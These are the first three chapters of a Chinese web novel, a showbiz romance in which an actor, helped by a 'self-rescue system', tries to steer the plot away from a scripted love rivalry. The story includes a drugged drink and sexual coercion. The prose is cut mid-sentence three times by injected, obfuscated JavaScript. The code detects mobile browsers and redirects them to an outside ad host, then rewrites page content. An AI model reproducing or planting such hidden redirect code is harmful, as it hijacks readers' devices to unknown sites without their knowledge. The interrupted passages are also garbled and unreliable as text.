《影帝他不想修罗场》 1. 回国 KL8972号航班预计在晚上七点落地云港国际机场。飞机平稳滑行,没有颠簸。 半蹲在座位旁的空乘轻声叫醒裹在毯子里睡觉的客人,用十分良好的服务态度、有条不紊地为他介绍目的地的天气与湿度。 骨节分明的手掀开毛毯边缘,听的人低低应了一声,随后将脸从柔软的呢料里抬起,冲她露出了一点礼貌的微笑。 灯光温和的机舱内,他微微垂下的发丝半遮半掩地挡住左眼眼下那颗很浅的痣,将几缕难以言明的光泽藏在漆色瞳孔里。 对上视线的那一瞬间,让人觉得像走进一层结了薄冰的冻河。 这张脸,空乘在银幕上见过很多次。此时就这样放大出现在自己面前,饶是她专业素养过硬,也忍不住轻轻停了半拍。 片刻后,她才恢复思绪,认认真真地补上了最后一句话: “欢迎您回到申澜,傅先生。” 清脆的声音落在耳边,傅宴容却没什么表示。他只是撑着脸,漫不经心地偏过头,往舷窗外看了一眼夜色下灯火通明的都市。 金属舱体划过暮色,舷窗外的光带如同被揉碎的金箔,贴着云港国际机场的跑道徐徐铺展。 …… 工作室安排的车已经开进停机坪接驳,傅宴容弯腰上车,把所有好奇的目光挡在了身后。 一早就在车里等着的新助理有些局促地递了台新手机给他,手机里面已经插好了傅宴容原来那张国内的电话卡。 同时,助理小心翼翼地做了个自我介绍:“傅哥好,我是您的新助理孙佳宁,您叫我小孙就行,承哥应该和您说过我。” 傅宴容姿态懒散地斜倚在靠座上,一边点头,一边解锁手机屏幕。 刚打开社交软件,成千上百条消息就如同潮水一样淹没过来。傅宴容看也不看地点了一键清除,然后不紧不慢地打开应用市场,下载了几个他爱玩的手游。 小助理看到他的动作和屏幕上迟钝爬行的下载进度条,坐立不安地先开口说:“傅哥,抱歉,我忘记提前……” “别这么紧张。”傅宴容抬起眼,弧度很轻地冲他弯了弯眼尾,一副很好说话的样子:“这不是你的工作范围,我又不会吃了你。” 这世道大家都有点颜控,而傅宴容眼下那颗痣挑的弧度又实在好看。于是刚出炉的清澈大学生助理摸摸脑袋,不好意思地笑了笑,瞬间就把那些傅宴容“乖张凶戾”的新闻报道抛之脑后。 傅宴容离开申澜去柏林拍了三年戏,这三年基本都待在剧组,经纪人和助理都没带,很少出现在大众眼中。 至于这几年他有没有变化,到底变成了什么样,谁也不清楚。 小孙放下手,看见傅宴容随便挑了个消消乐小程序玩。只见他苍白的指尖在屏幕上滑动,很快就噼里啪啦地消了一堆砖块,蹦出那种“Unbelievable!”的提示音。 这时,傅宴容又很随意地问了一句:“季承人呢?” 小孙连忙解释道:“承哥让我向您道歉,他这几年手底下艺人不少,最近正赶上忙的时候,实在有些忙不过来,稍晚一些的接风宴他一定按时赶到……” 他话还没说完,车身突然急刹,逼出了一声短促的惊呼。黑色迈巴赫碾过机场高架桥的积水,瞬间停了下来。 傅宴容原本要消除的糖果砖块被误触了一下,页面上露出个大大的哭脸,和一句可怜兮兮的“SAD”。 他微微挑了下眉。 “前面封路了。”司机降下车窗同他们解释,一瞬间,初春潮湿的夜风裹挟着尖叫声涌了进来。 绵延车流尽头的航站楼出口像炸开的蜂巢,无数蓝色应援棒在夜色中明明灭灭。甚至有人踩在隔离墩上拼命挥舞灯牌,上面“糖糖”两个大字格外刺目,相当晃眼。 安保人员不断吹着哨子阻拦冲向车道的粉丝,但显然没什么效果,其中甚至有一个险些撞上迈巴赫的车头。 小孙不禁咋舌:“这也太过了……不会出事吗?” 圈内人都清楚,接机送机这种事,重视的明星团队往往会与机场要客部签署保密服务协议,普通粉丝很难察觉完整流程,只有触犯法律的私生会围追堵截。 傅宴容今天的行程,就几乎是全程隐形的。 而这种规模的接机混乱,往往源于团队故意泄露行程炒作,方便上几个“机场生图”热搜。大部分娱乐圈明星都爱用这招,对傅宴容来说这种场面已是见怪不怪。 “走T3绕出去。”傅宴容这么说着,视线在那个写着糖糖两字的蓝色灯牌上停留了片刻,觉得有点眼熟。 小孙很有眼力见,没等傅宴容问出这谁,就直接开口说:“她们应该是苏唐的粉丝,苏老师是承哥这两年签的艺人,不过前段时间被东钰挖走了,付了好大一笔违约费呢。” 见傅宴容没让他停,小孙继续说:“他是选秀出道的,现在正在转型拍戏,就是您准备接的那部《隐面》的男二……” 说到这,傻子也知道这个苏唐不简单了。 作为新人一出道就能被季承签下,又马上被东钰挖走,在没有任何经验的情况下,甚至让他能和傅宴容接上对手戏—— 说他背后没个靠山都没人信。 在小孙的视角里,傅宴容并没对自己阐述“新顶流”的这番话做出任何评价。相反,他很快就把目光重新放回消消乐上,百无聊赖地打发着漫长的车程。 而只有傅宴容能看到,自己手机上刚刚那个因为错按而打出的“SAD”,正在被一道不明颜色的光球硬生生擦去,重新改成了一张笑脸。 他指尖一顿,没对这个宛若病毒入侵的场景做出什么过分的反应。 笑脸下方慢慢浮现出一行字。 「宿主您好,又见面了,时空管理局辅助自救系统竭诚为您服务!」 「温馨提示:您现已回到万人迷剧情正轨,马上就会迎来和主角受的第一次见面。请再次阅读系统给出的小说原文,避免不可控的情况发生——」 车窗冉冉升起,把航站楼又爆发出新一轮声浪屏蔽,也让凭空出现在傅宴容手机里的小小光球变得更加明晰。 时空管理局辅助自救系统…… 傅宴容眯了眯眼,视线从屏幕上掠过。 事实上,还在柏林的时候,这个所谓的自救系统就出现在了傅宴容的身边。它尝试了数十种方法,不厌其烦地渗透在傅宴容身边,只为一而再、再而三地向他解释—— 傅宴容,其实只是一本娱乐圈先婚后爱万人迷小说世界的配角。 应该说,买股攻之一。 他现在被粉丝追捧的作品,奖杯加身的荣耀,都不过是为了主角受堆砌的背景板,方便他和其他炮灰攻在修罗场中争风吃醋雄竞罢了。 系统的出现,是因为检测到这个世界有什么东西发生了不可控的变化,既不可知,也不可逆。 根据时空管理局测算,如果任凭剧情继续按照原轨迹发展,会有99%的概率导致这个由小说演变过来的世界崩塌。 为了避免这种结局,系统绑定了剧情占比最高的傅宴容,尝试让他改写小说走向。 只是这个“改写”的度必须非常精妙,做得过了,绑定着世界意志的万人迷主角可能会做出导致整个世界混乱的行为。 ……这种天方夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160090|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭般的说辞,傅宴容当然不会全信。 但系统确实做出过一些超出常理、怪力乱神的事。 所以他暂时没有把这个光球送去科研所拆解。 傅宴容表面云淡风轻地接受自己成为宿主的设定,暗地里却把系统的底细摸了个透。 他发现系统对自己过去的经历一无所知,手上的剧情资料也残缺不全。 唯一可信的,是它对剧情人物未来发展的判断。 无论是经纪人季承软磨硬泡劝他回国接戏,还是机场的拥堵混乱……这些情节都和系统所给的小说原文对得上号。 怎么说呢—— 有点恶心。 这种被迫成为“炮灰攻”的设定。 傅宴容眼皮极轻地颤了一下,随即神色淡定地把重新开始的消消乐玩到通关,才慢悠悠打开系统传来的小说剧情原文。 ——「第一章酒会」 「全场所有的目光都汇聚在苏唐这个漂亮笨蛋的身上,他软糯呆萌,脸颊微粉,如同森林中迷路的小鹿,又如同一支露水压弯的百合。可怜的小女孩茫然娇气地站在酒会中央,被动地接受着众人目光的舔舐。原本接风宴的主角傅宴容被夺走了关注,却并不生气,反而微微一笑,两分桀骜一分不羁地喃喃自语:“苏唐吗?有点意思。”」 ……开局就是这种震撼王炸。 以前自救系统说的剧情好歹是提炼出来的正常文字,现在真是演都不演了。 傅宴容原本松弛搭着机身边缘的食指骤然下压,指节不可抑制地泛起一点森然的苍白。 停留在手机屏幕上的自救系统抖了抖,总觉得有种不详的预感。 片刻后,傅宴容面无表情地点了一下翻页键,在脑海里十分平静地问系统:“没有什么名字打码功能吗?” 总觉得自己的名字出现在这段话里有种被邪神污染的美。 “……不好意思。” 系统回答地十分心虚:“我只是个辅助系统,除了讲解剧情之外没什么功能,和那种能开挂的型号不是一个生产线的。” “……” 自救系统假装没看出傅宴容眼里明晃晃的嫌弃,接着说:“小说原文中有不少细节,宿主还是亲自看一下比较好。” “这一段描写应该可以跳过,重点在于后面万人迷苏唐喝了带料的酒,正准备迷迷糊糊走进宋临俞房间,却正好被你看见。” “这时,宿主您对苏唐已经有了几分兴趣,再加上又和宋临俞是死对头,于是在酒精的作用下拦腰抱住了苏唐,强行把他带进了自己的房间……” 傅宴容闻言勾了勾唇角,似笑非笑地低声讥讽:“不仅眼瞎,还蠢。” 系统的电子机械音卡壳一瞬,大概知道他在吐槽书中“自己”的人设,赶紧解释道:“所以我们才需要帮助宿主您改变剧情嘛。” “总之,第一章最重要的部分就是苏唐走错房间,以及第二天您从房间出来时,与死对头宋临俞针锋相对的修罗场。” “宋临俞可以算小说最后买股的正攻,不择手段疯批阴暗,为了苏唐什么都做得出来,宿主面对他的时候一定要小心!” 伴随着自救系统喋喋不休的叮嘱归于寂静,迈巴赫在目的地前缓缓停下,暴露在人潮之中。 半晌,傅宴容关掉手机,不知想到了什么,气音带笑,温吞含锋。 “死对头啊……那确实要非常、非常小心了。” 车窗外闪光灯如白昼星火般漫过防窥玻璃。车门被人弯腰拉开,为他扶住门沿的经纪人季承彬彬有礼,带着得体的微笑。 “欢迎回来,宴容。我们都很想你。” 2. 万人迷 《隐面》剧组为傅宴容办的接风酒会选在银湖酒店顶层,是圈内惯常的社交场合。 场地布置并不张扬,反倒显得克制。暖金色灯光落在错落有致的香槟塔与花艺装饰上,落地窗外是铺展到天际的城市夜景。酒香与谈话声交错在空气里,气氛温吞而平和,让傅宴容看了并不反感。 很少有投资方能把目的在于声色犬马的酒会办得这么恰到好处,比起小说原文里那种格外*乱的大party,真是好了不少。 来的人大多是熟面孔,东钰的资本方、剧组主创、圈内明星交错而坐。窗边围着几位制片公司的人,聊起最近的电影项目,偶尔压低声音交换导演名字。吧台处也有人点酒,猜测着今年影展的评审名单。 傅宴容到得不算早。 他黑色风衣敞着,里面是件浅灰色的衬衫,领口随便扣了两颗,袖口微微挽起。长发信手绑在脑后,室内的暖温在他脸上蒸起一层极浅的薄红,衬得眼下那颗痣平添几分妖气。 明明一路上也能称得上风尘仆仆,他却有种随性的潇洒。 门口的喧哗声在傅宴容进来的瞬间短暂停了一拍,紧接着又被背景音乐盖过去。 他没刻意引人注意,但所有人的目光都不可避免地往这边偏了一瞬。 然后,人流如同潮汐,被引力牵引而来。 傅宴容站在原地笑着张开手,大大方方地和去年刚拿了金像奖的影后杨婉礼貌拥抱了一下。 杨婉和他合作过两次,关系不错,不过即使她已经结了婚,仍有媒体一而再再而三传两人有婚外情,实在是为了噱头连良心都不要了。 果不其然,他们这一抱,马上就有关系不错的媒体人打趣道:“完了,等会儿被拍下来又是什么说不清的头条,江导要吃醋了。” 杨婉与友人笑在一处,傅宴容轻笑一声,站在人群中和他们聊到兴起,低语声从酒杯碰撞中溢出来。 不过事情总不会这么轻松,自救系统低声在他脑海中说:“宿主,一些小剧情你是必须要走的。如果完全不按小说原文来,很容易被附有世界意识的主角受察觉到问题,那就功亏一篑了。” ……其实就是提醒傅宴容,等会儿要记得两分桀骜一分不羁地喃喃自语“男人你有点意思”。 按时间来说,苏唐也该到了。 傅宴容目光随意地掠过场内,正巧看到挂着一副茫然模样从后门进来的苏唐。 他估计是刚在机场拍了所谓的“生图透”,衬衫深V领口一直开到胸口,还沾了点亮片,好像在竭力昭示着“我很诱人快来把我吃干抹净”。 问题是连马甲线都没练出来的白斩鸡身材实在不适合这种性张力穿搭,有点像小孩偷穿大人衣服。 傅宴容忍不住思考,他是怎么从选秀节目C位出道的? 爱豆女友粉偏多,不应该更追求脸、体态和性张力吗? 自救系统读到了他的疑惑,为了证明自己有用,迅速翻了翻原文,对傅宴容念道:“粉丝是这么说的:糖糖如同爱神阿弗洛狄忒般的小肚子简直就是仙品,女神中的……” 傅宴容:女神何辜。 ……其实只是吃太多了,身材管理没到位吧。 他忍无可忍:“念得很好,但下次别念了。” 自救系统还以为自己被夸了,忽略了后面那半句话,美滋滋地笑了两下。 傅宴容停顿的目光有点明显,杨婉察觉到他的出神,偏过头看了一眼他的神情,发现他垂着眉眼,一副有几分嫌恶的冷淡模样。 杨婉往人群中看去,片刻后了然地同他耳语:“你和宋临俞有什么仇吗?” 曾经熟悉的名字被提起,傅宴容收回视线看向杨婉,不置可否:“怎么?” “他打量你很久了,怪凶的哦?” 《隐面》最大的投资商就是东钰,宋临俞当然也在。他今晚一身深色西装,站在吸烟区和几个合作方寒暄,扣子整齐系着,神情冷淡,像与周围的温度都隔着一层。 宋临俞看起来对那些合作方的喋喋不休不感兴趣,指尖夹着的香烟捏得很松,像随时都会从手中滑落。 灯光映在他眉眼上,沉默而锋利。 杨婉靠在傅宴容身边,握了一下他端着酒杯的小臂,示意他看回去:“就是现在这种眼神。” 傅宴容似有所感般抬眼,正好隔着几步的距离与宋临俞对上了视线。 眼神交错的那一瞬间,傅宴容没什么表情,眼尾微微压着,看人像是随手翻过的旧账,淡得让人无端生出几分憋闷。 而宋临俞收回了目光。 傅宴容不怎么走心地勾了勾唇角,偏过头,语气多了几分轻佻:“没什么仇,看我好看吧。” 他垂眼笑得散漫,像只准备打盹的猫。 杨婉无奈地叹了口气。 她一直觉得,像这样的玩笑,世界上绝大多数人说出来都带着自恋,偏偏从傅宴容口中说出来,就有种天然的理所当然。 不敢想和这样的人在一起,会添多少麻烦。 杨婉端起酒杯与他轻轻碰了碰,把这个话题揭了过去。 而就在这个动作发生的一瞬间,宋临俞指间缭绕的烟雾狠狠晃了一下,紧接着,清瘦指尖微不可察地紧紧蜷紧起来。 同他谈天的人明明也身居高位,却伏低做小地马上返身取了个烟灰缸来,低声问他是否要抖落烟灰。 宋临俞盯着那片玻璃反射出来的惨白银光,眼底一片暗色翻涌,酝酿着说不清来源的阴郁。 他慢吞吞地垂下眼,十分冷漠地说了一句:“不。” 然后,那截燃尽的烟灰就自虐似的尽数被他握在手心。直到张开手的那一刻,都能窥见留下的滚烫红痕。 / 与此同时,苏唐正以一副茫然无措的模样穿过人群,缓慢地走向吧台。 香槟杯晶莹透亮,排成一排,映着温暖灯光,玻璃壁面晃动出暧昧的涟漪。 但周围目光纷至沓来,凝滞而隐秘,像锋利细小的针尖,挨个刺向他外露的皮肤。 苏唐感受到那些目光里含着审视、不怀好意,甚至赤裸裸的轻蔑。他抬起眼,果然撞上几道掩饰不住的探究视线。 他刻意迟疑了一瞬,像是被这阵目光惊到,又像是不安地做了个自我防御的微小动作。 但实际上,苏唐很习惯被这样审视。 他甚至还有闲心整理了一下衬衫领口,和脑海里的万人迷系统聊天:“万万,傅宴容看到我了吗?” “当然,公主殿下,谁会拒绝你的美貌呢?”万人迷系统毫无底线地附和他,看起来不像在回答睿智聪慧的“公主”……而是黑心幼教诱拐不能自理的熊孩子。 苏唐垂着睫毛,嘴角抿得更紧了些。 “那当然。” 他低声自言自语,尾音泛着一点矫揉的娇气。 这次接风宴是第一次三个炮灰攻齐聚的场景,更是他和傅宴容的初遇,苏唐非常期待。 “……这不是苏老师吗?” 他这么想着的时候,笑嘻嘻的声音从侧边传来。 苏唐还没回头,鼻腔里已先一步闻到一丝辛辣刺鼻的香水味。 男人站在他身后,手里摇晃着半杯酒,身边还围着两个笑意暧昧的女伴。 ——文玦。 圈子里出了名的纨绔,仗着有几分家底胡作非为,能捧人,也能轻易毁掉一个刚出道的小明星。 文玦眯着眼睛盯着苏唐,目光在他裸露的锁骨和胸口游走了一圈,嘴角带着点轻佻笑意。 虽说他并不知道自己为什么会突然对苏唐产生兴趣。 不过就是个没什么辨识度的小爱豆,只有脸长得挺可爱,胸膛瘦得没两两肉,身上连点性张力都没有。 他身边那些丰润妖艳的女伴随便拎一个出来,都比苏唐耐看得多。 可不知道为什么,他刚才莫名其妙地想—— 也许睡一睡会很有意思。 文玦这个念头一冒出来,自己都险些被恶心到。 但在苏唐面前,世界就是这么不讲逻辑,而文玦也不是什么很有底线的人。 所以他又很快不以为意地笑了。 反正他荤素不忌。 “苏老师最近可真火啊,”文玦拉长音调,吊儿郎当地提问,“听说还是宋总那边的红人?原来宋总喜欢这种的,啧啧……” 苏唐拿着酒杯的手指颤了颤,抬起湿漉漉的眼睛望着他。 这种时候苏唐当然不会发火,万人迷系统早就告诉他,这种假装听不懂的样子才是最诱人的模样。 果不其然,文玦就喜欢这副被调戏了还不敢反抗的样子,他意味不明地笑了两声,语气更大胆了些:“既然能跟着宋总,自然也能跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160091|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,对吧?” “我,我和宋,宋临俞,不是那种关系,请你离我远一些……” 文玦笑了起来,手腕一转,自己酒杯里的液体突然倾泻下来,淋了苏唐一胸口。 冰凉的香槟酒液沾湿了苏唐半边衬衫,透明布料贴着肌肤勾勒出清晰线条,这下,他真的近乎赤裸了。 “抱歉啊,手滑了。”文玦笑得恶意十足。 周围已有不少人注意到这边的动静,窃窃私语声像潮水一样蔓延开来。 苏唐委屈地咬住下唇,眼眶微微泛红,抱着被酒湿透的胸口,瑟缩了一下。 僵持不下的场面吸引了越来越多人的目光。 苏唐有些焦躁地垂下眼。 万人迷系统明明说过,按照剧情安排,这时候傅宴容应该已经走过来为他解围了…… 可等了半天,人怎么还没来?! 反倒是文玦刻意让身边人端了酒托过来,拿起最外延那杯递过,随后挑眉看着苏唐:“不好意思了苏老师,泼你身上是我不对,这杯酒就当赔罪了。” 苏唐紧咬住下唇,眼神一闪。 他当然知道酒里有什么。 可是…… 傅宴容一直在注视着这一幕,他并不急着英雄救美,贴心地扮演着自己“三分讥笑两分凉薄”的人设看好戏,此时更是拎着杯香槟,慢悠悠抿了一口。 气泡贴着杯壁浮起,发出破碎的轻响。 “宿主,现在可以过去解围了,然后苏唐就会喝下那杯带料的酒,接着走错房间……” 于是傅宴容漫不经心地把玩了一下吧台边上的银匙,长柄在他手中转了一圈,轻轻叩响了杯缘。 清脆的响声顿时吸引了对峙二人的注意力,文玦不耐烦地回头,看见傅宴容倚着吧台,撑着脸笑意吟吟地打量着这边,眉眼间散漫的笑还未褪,轻声道:“文少,玩得挺开心?” 声音清润慵懒,还带几分漫不经心的讥诮。 文玦一僵,抬头见是这尊大佛,笑容立刻堆上了脸:“傅老师,真是好久不见,今天还没亲口欢迎您回来,我这……” “文瑾让你过去。” 他话还没说完,又一道冰冷的声音自后响起。宋临俞面无表情地站在他身后,好像只是路过顺便提了一句。 文玦低声咒骂一声,索性准备让这两尊大佛自己寒暄别再管他,于是立马转了口风,笑眯眯地为他们引荐起来。 也不管他们需不需要,反正做了再说。 套话说起来他可是得心应手,原本径直准备离开的宋临俞好像也没办法似的停了下来,站在了傅宴容面前。 有人引荐,他们不得不说话。 “宋总,久仰。” 他居然说久仰。 这句话不知道有什么魔力,宋临俞突然觉得眼前好像有一片噪点般的模糊掠过视线,宛如失效的黑白电影,一切都在倒带、重来、循环往复。 他只能看清傅宴容眉眼间散落细碎的光点,随着时间的拖移,五官在灯下渐渐清晰,直到明丽。 宋临俞突然感觉喉咙像是被谁攥紧了。 “……久仰。” 宋临俞于是也只能这么说。 他垂下眼,神情是前所未有的沉默,让空气陷入了莫名的凝滞。 文玦莫名觉得哪里有些不对,但他的脑子又猜不出来,只是觉得让这俩人凑在一起准没好事。 所以他赶紧随手从旁边的托盘上拿起一支香槟,对着干巴巴的场面打了个圆场。 他对宋临俞说,这支唐培里侬是他最喜欢的年份,既然来了,无论如何也要尝一尝。 宋临俞面无表情地抿了一口,紧接着十分冷漠地评价道:“不好喝。” “真的假的?宋总,你平常都享受什么极品啊……” 文玦有些尴尬,而宋临俞一副并不想在这里耗费时间的样子,将杯中酒一饮而尽,然后目光不轻不重地在傅宴容和苏唐面前掠过,转身就走。 场面如此,文玦也没了调戏苏唐的耐心,更不愿在这里自讨没趣。于是他嘟囔着从舞池里随便牵了个女伴的手,换个地方继续花天酒地。 只有莫名觉得自己被忽视的苏唐愣愣地站在原地。 他看着那杯已被宋临俞喝过的酒,不可置信地问自己的万人迷系统:“……等等,宋临俞是不是喝了我的酒?!” 3. 求我 “你确定宋临俞喝了那杯酒没关系?” 银湖酒店的套房外,苏唐来来回回地转着圈。 万人迷系统安慰道:“没关系,糖糖,那杯酒本来也是方便傅宴容对你做些什么,等会儿你演出不省人事的样子,假装要去敲宋临俞的房门就好。” “至于宋临俞今晚……放心吧,你的炮灰攻肯定是身心双洁,他就是要吃点苦头而已。” 万人迷系统的声音还带着点幸灾乐祸的意味,苏唐一向信任自己这个外挂,闻言也彻底放下心来,开始发挥自己的精湛演技。 具体表现为:单手扶额,不停转圈,然后发出难耐的呻吟。 看着这一切,傅宴容莫名觉得有点不忍直视。 ……感觉他有点像喝醉了酒,不停转圈,嘴里还要说着快哉快哉的古风小生。 自救系统已经在傅宴容的耳边反复询问了几次带药的酒是不是被宋临俞喝了,但是傅宴容表现得很淡定,因为酒谁喝了都不重要,自己不睡苏唐才最重要。 自救系统再次质疑:“那怎么完成把清醒的苏唐带回房间这个剧情点呢?” “简单。” 傅宴容干脆利落地在苏唐后颈劈了个手刀。 原本扒在宋临俞房门外像小偷一样转来转去、等着被‘拦腰抱走’的人啪嗒一声趴在了地毯上,活像条晾干的咸鱼。 自救系统原本还想说些什么,又被这简单粗暴的画面震住,电子音戛然而止,只能眼睁睁看着傅宴容拨起了电话。 小孙来的时候,傅宴容立刻十分嫌弃地拎起苏唐的衣领,把他像垃圾一样塞进了小孙怀里。 小孙愣愣地抱着人,不知想到了什么,脸颊一红,视线在苏唐泛红的脸颊和傅宴容清俊的脸上来回游移,结结巴巴道: “哥……咱不能做法制咖,该税的税,不该睡的不能睡。” 傅宴容抬眸,似笑非笑地扫他一眼,“他?绑了都没过年的年货值钱。” 小孙:…… 老板嘴毒,但实在貌美。 “把他扔我房里,然后再去开间房。” 傅宴容的指令简洁明确。 意识到自己脑补过头的小孙红了脸,赶紧把人扛走,动作飞快,仿佛不想再多待一秒。 系统之前就说过,原来的万人迷小说出自口口文学城,就算作者想写点刺激的,限制级画面也要一概拉灯。 所以只要苏唐第二天早上醒来的时候“看到自己身上有星星点点的红痕”,原剧情就能被很好地蝴蝶掉。 红痕能用过敏搞定,傅宴容决定晚上很不人道地给苏唐喂几颗大芒果。 自救系统:难道他真的是天才! 苏唐被带走,傅宴容也毫不犹豫地转身离开。然而就在这时,身后紧闭的房门里,蓦地传来了某种玻璃器皿破碎的尖锐声响……还伴随一声压抑的闷哼。 他脚步微顿,眯了眯眼。 看来那杯带料的酒,宋临俞真的喝了。 “宿主!”系统突然紧张兮兮地提醒,“明天早上的修罗场是剧情最关键的转折点!” “所以?” “所以……万一宋临俞今晚和别人……一整晚,明天筋疲力尽起不来怎么办?” 听它这么说,傅宴容倒真停下来思考了几秒,随后懒懒地说:“不至于吧,一般不玩得太过分的话,他第二天还是能爬起来的。” 自救系统:总觉得这话不太对劲…… 而且,宿主为什么对这种事很有经验的样子? “宋临俞很能忍。”傅宴容语调漫不经心,又带着几分意有所指地开口:“不用管,他不会允许别人在这种时候抓住他的把柄。” 系统迟疑了一瞬,还是坚持道:“宿主,稳妥起见,还是确认一下比较好,至少确保他明天一定会出现在你面前。” 毕竟今晚剧情已经走完了,不能功亏一篑。 傅宴容拗不过它,敷衍地折返回去,在房门上敲了两下。 “滚!” 房内传来低沉沙哑的怒声,裹着不容置喙的冷意。 傅宴容放下手,似早有预料地勾了勾唇角,淡淡地说:“是他不让我进的,这下能走了?” “不行不行。”自救系统大概真是个人工智障,居然还一板一眼地教学起来:“你们现在还没什么不愉快的交集,你报上名字礼貌说明来意,他会开门的。” 这句话乍一看好像没什么问题,可傅宴容如同听到了什么天大的笑话一样,忽然没头没尾地嗤笑出声,随即,又暧昧不明地重复了一遍自救系统的话: “没什么不愉快的交集……” 没等系统反应过来,他就重新抬手叩了一下宋临俞的房门,动作干脆利落,好像还有几分不耐。 “宋临俞,开门,别让我说第二遍。” 语调冷锐,带着不容抗拒的压迫感。 “宿主!礼貌不是这样的,你要说,宋先生你好,我是——” 门咔哒一声被打开,昏暗的房间照进了一束廊上刺目的光,傅宴容垂下眼,看见宋临俞面色惨白地靠着墙,冷汗一点点从额角滑落。 自救系统的电子机械音不上不下地卡在扬声口,然后不可思议地打了个圈,硬生生地被咽了回去。 还能这样? 宋临俞原本扣得整整齐齐的西装外套变得有些皱了,领带松散,露出衬衫里一小截汗湿的锁骨。 哪怕他现在竭力表现得神色如常,也没办法掩盖这种狼狈。 傅宴容单手插兜,背靠着门,就这么平静无波地看着他。 宋临俞胸膛起伏一瞬,然后艰难地仰起脸,仍然是那副拒人于千里之外的神情,很慢很慢地问傅宴容:“有事吗?” 傅宴容懒洋洋地掀起眼,不急着回答,只是用一副看好戏的心态,看着他忍不住发颤的手。 宋临俞呼吸急促一拍,突然觉得这一幕太过难堪。 他想继续用那种疏离的、抗拒的语气同傅宴容说话,告诉他如果没事今晚都不要来打扰自己。可也许是药物的作用,宋临俞无论如何也没办法把这句话说出口。 他好像闻到了傅宴容身上的味道,再一次地,重新感受到了那种令人窒息的、甜腻、浓郁、醺醺然如同烈酒的气息。 想起一个人,最先想起的是他的气味。 这一瞬间,阔别经年的重逢似乎才有了实感。 于是泛着不正常潮红的唇瓣在吐字前缓缓抿成直线,停顿良久,才沙哑地低低念了一句:“傅宴容……” “直呼名字有点不客气吧。” 傅宴容这么说着,修长有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160092|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的五指漫不经心地插进了宋临俞湿漉漉的发间。 他冰冷的指腹在宋临俞发顶摩挲,力道若有似无,如同轻柔划过的羽翼。 宋临俞头皮一紧,下意识躲闪,却被更狠厉的力度按住,强迫性地仰起了那张布满细汗的脸。 自救系统在傅宴容脑海里心惊胆战地说:“宿主,修罗场要动手也是在明天……” “你可以休息了。”傅宴容十分干脆地打断了自救系统的话,屏蔽了他在自己脑海里的所有动静,让自救系统被迫进入了休眠。 然后他面无表情地撩起宋临俞那几缕遮住眉眼的额发,强迫他仰起头,神色冷淡地问:“你觉得呢?” “……对不起。” 宋临俞说对不起。 这一句话吐得很轻,几乎要消散在缥缈的空气里,傅宴容分辨不出来他的语气,轻轻眯了眯眼。 他这样做的时候,左眼眼下的那颗小痣就更加明显,漆色的瞳孔因为逆光没有任何波澜,像永远不为所动的黑色深海。 宋临俞被那一点浅薄的颜色晃晕了,傅宴容的指腹按在他的发顶,露出来的腕骨像清隽的新竹,伴随着恰到好处的青筋延伸进折叠的袖口,然后是锁骨,长发,后颈,和似笑非笑的唇。 好想亲…… 被药物搅散的神智重新组合在一起,晕乎乎的脑袋里只剩下这种本能的原始冲动。宋临俞的克制、冷淡、自持,在傅宴容面前瞬间灰飞烟灭。 神经系统忠实地执行着主人的信息,宋临俞格外熟练地蹭了一下傅宴容的掌心,然后仰着头,完全不顾傅宴容手上的力气,跌跌撞撞地亲了上去。 傅宴容偏过头,湿润的吻从唇边擦过。 就在这一瞬间,咔哒一声响起,原本敞开的门被宋临俞拉住手柄彻底关紧,最后一丝亮光也被拒之门外。 昏沉的光线里,宋临俞的脸已经看不太分明,傅宴容听见他用已经哑得不行声音低低叫着自己的名字,像是在用尽全力忍耐,亦或者说,已经完全忍耐不了了。 黑暗确实会侵蚀人的意志。 傅宴容看着他这副样子,突然笑了一下,抬起手拍了拍他的脸,轻声说:“这么难受啊……” 他现在的语气和刚才已经完全不一样了,暧昧的、轻佻的,缠绕着无限情思,如同对情人低语,像温水一样浸进皮肤下最敏感的神经。 宋临俞被这句戏谑的话逗得整个人都颤了一下,手指死死扣在傅宴容的手腕上,像是攥住唯一的依靠。 可傅宴容却松了力道,指尖只懒洋洋地在他的鬓发间游移,像是在把玩某件珍贵又无用的旧物,似乎随时就可以丢弃。 宋临俞喘着气,模糊的视线里,傅宴容眉目投在光影中,漂亮得几乎虚假。 他突然就分不清今夕何夕了,时间倒转,好像一切都一如当年。 于是他喉结急促地滚了滚,诚实地点了点头。 傅宴容眼尾微微挑起,像终于逗弄得尽兴,修长的指尖缓缓滑下去,捏住他的下颌,逼他抬起脸。 动作冷酷又恶劣,带着残忍的温情,甚至还带着撒娇一样的诱哄。 “那就求我,宋临俞。” “像以前一样求我。” 继续演下去。 